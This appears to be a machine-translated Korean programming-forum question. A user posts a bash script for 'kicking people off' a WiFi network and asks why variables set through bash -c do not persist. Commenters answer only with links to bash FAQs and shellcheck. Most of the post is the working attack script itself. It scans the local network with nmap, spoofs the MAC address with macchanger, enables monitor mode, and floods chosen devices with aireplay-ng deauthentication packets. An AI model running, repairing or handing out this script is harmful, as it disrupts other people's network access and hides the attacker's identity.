그래서 저는 wifi 사람들을 걷어차 기위한 쉘 스크립트를 작성했습니다. 그러나 올바르게 작동시키는 데 문제가 있습니다. 가장 큰 문제는 내가 bash -c "$ com"을 실행하면 변수를 설정하지 않는다는 것입니다. 어떤 도움을 주시면 감사하겠습니다.
echo "You must be connected to the network that you wish to kick the devices off"
gw=`route -n|grep ^0.0.0.0|cut -d' ' -f 10`
sudo nmap -sP $gw-254
long='read -p Enter_the_DEVICE_Bssid'
a=1
end=';'
oend='&'
outside='"'
thesudo='sudo'
num=1
deff='aireplay-ng -0 $number -a $bssid mon0 --ignore-negative-one -c'
read -p "How many devices do you want to kick: " ammount
counter=0
while [ $counter -lt $ammount ];
do
b=device
d1=$b$a
if [ $counter2 -gt $ammount ]
then
com="$com $long $outside$d1$outside"
counter=$(($counter +1))
else
com="$com $long $outside$d1$outside $end"
fi
comfin="$comfin $thesudo $deff $d1 $oend"
a=$(($a +1))
counter=$(($counter +1))
counter2=$(($counter +2))
done
vev="echo done"
comfin="$comfin $vev"
echo $com
bash -c "$com"
#Why does it not set the variables like it should?
echo $device1
echo $device2
echo $device3
#see it dosent say the variables when it is run.
sudo ifconfig wlan0 down
sudo macchanger -m 00:11:22:33:44:55 wlan0
sudo ifconfig wlan0 up
sudo airmon-ng start wlan0
sudo ifconfig mon0 down
sudo macchanger -m 00:11:22:33:44:55 mon0
sudo ifconfig mon0 up
#make sure you dont run it from the file, but from terminal so you can press ctrl z to stop the airodump
echo "make sure you dont run it from the file, but from terminal so you can press ctrl z to stop the airodump"
sleep 2
sudo airodump-ng mon0
read -p "Enter the NETWORK Bssid:" bssid
echo "Ok, its $bssid"
read -p "Do you want to single kick(1) or continuously kick(0)" number
echo "Ok, its $number"
sudo $comfin
sudo ipconfig stop mon0
http://mywiki.wooledge.org/BashFAQ/050 –
http://shellcheck.net/를 통해이 모든 일을 실행 또한 가치. –
또한 변수로 명명 된 변수를 설정하는 가장 좋은 방법에 대한 자세한 내용은 http://mywiki.wooledge.org/BashFAQ/006을 참조하십시오 (힌트 : 아니요, 대답은 * eval을 포함하지 않습니다) . –